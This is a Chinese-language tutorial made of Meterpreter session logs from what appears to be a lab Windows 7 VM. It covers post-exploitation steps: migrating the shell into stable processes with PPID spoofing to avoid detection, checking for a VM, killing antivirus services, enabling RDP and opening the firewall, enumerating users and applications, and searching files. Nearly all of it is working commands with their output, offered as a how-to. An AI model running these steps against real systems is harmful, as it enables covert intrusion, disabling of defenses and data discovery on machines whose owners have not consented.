在获取meterpreter会话或者进行其他测试时,由于shell不能保持很强的稳定性,导致进程被管理员察觉、被用户关闭等等,导致渗透过程失败,我们需要将shell移动到一个稳定的进程内,这样使得渗透更加难以被察觉
先使用ps查看目标正在运行的进程
查看当前进程号
meterpreter > getpid
Current pid: 1104
从ps查看的运行进程内找出meterpreter的ipd,可以看到,现在的进程为1104,name为svchost.exe,输入migrate 2844迁移至explorer.exe,因为该进程是一个稳定的应用,然后再使用getpid查看新的进程号
meterpreter > migrate 2844
[] Migrating from 1104 to 2844...
[] Migration completed successfully.
meterpreter > getpid
Current pid: 2844
meterpreter >
自动将进程迁移至2092
meterpreter > run post/windows/manage/migrate
[*] Running module against WIN-LJF52BIKAP6
[*] Current server process: Explorer.EXE (2844)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 2092
[+] Successfully migrated into process 2092
meterpreter >
meterpreter > sysinfo
Computer : WIN-LJF52BIKAP6
OS : Windows 7 (6.1 Build 7600).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
meterpreter > run post/windows/gather/checkvm
[*] Checking if WIN-LJF52BIKAP6 is a Virtual Machine ...
[+] This is a VMware Virtual Machine
meterpreter >
meterpreter > idletime
User has been idle for: 18 mins 41 secs
meterpreter >
meterpreter > getuid
Server username: WIN-LJF52BIKAP6\root
meterpreter >
meterpreter > run killav
[!] Meterpreter scripts are deprecated. Try post/windows/manage/killav.
[!] Example: run post/windows/manage/killav OPTION=value [...]
[*] Killing Antivirus services on the target...
[*] Killing off cmd.exe...
meterpreter >
meterpreter > run post/windows/manage/enable_rdp
[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20210922101221_default_192.168.200.137_host.windows.cle_401476.txt
meterpreter > run post/windows/gather/enum_logged_on_users
[*] Running against session 1
SID User
--- ----
S-1-5-21-2231621843-1934586931-3466173265-1000 WIN-LJF52BIKAP6\root
[+] Results saved in: /root/.msf4/loot/20210922110534_default_192.168.200.137_host.users.activ_248353.txt
SID Profile Path
--- ------------
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-2231621843-1934586931-3466173265-1000 C:\Users\root
S-1-5-21-2231621843-1934586931-3466173265-1001 C:\Users\ganyu
meterpreter >
meterpreter > run post/windows/gather/enum_applications
[*] Enumerating applications installed on WIN-LJF52BIKAP6
Name Version
---- -------
Acunetix 13.0.200205121
[+] Results stored in: /root/.msf4/loot/20210922110814_default_192.168.200.137_host.application_719627.txt
meterpreter >
meterpreter > pwd
C:\Windows\system32
meterpreter >
meterpreter > getlwd
/root/桌面
meterpreter >
meterpreter > cd c:/perfLogs/Admin
meterpreter > ls
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 25 fil 2021-09-22 11:27:28 +0800 1.txt
meterpreter > vim 1.txt
[-] Unknown command: vim.
meterpreter > cat 1.txt
12123wwewdsxcddsdwassdwedmeterpreter >
搜寻c盘内所有以txt为后缀的文件:search -f *.txt -d c:\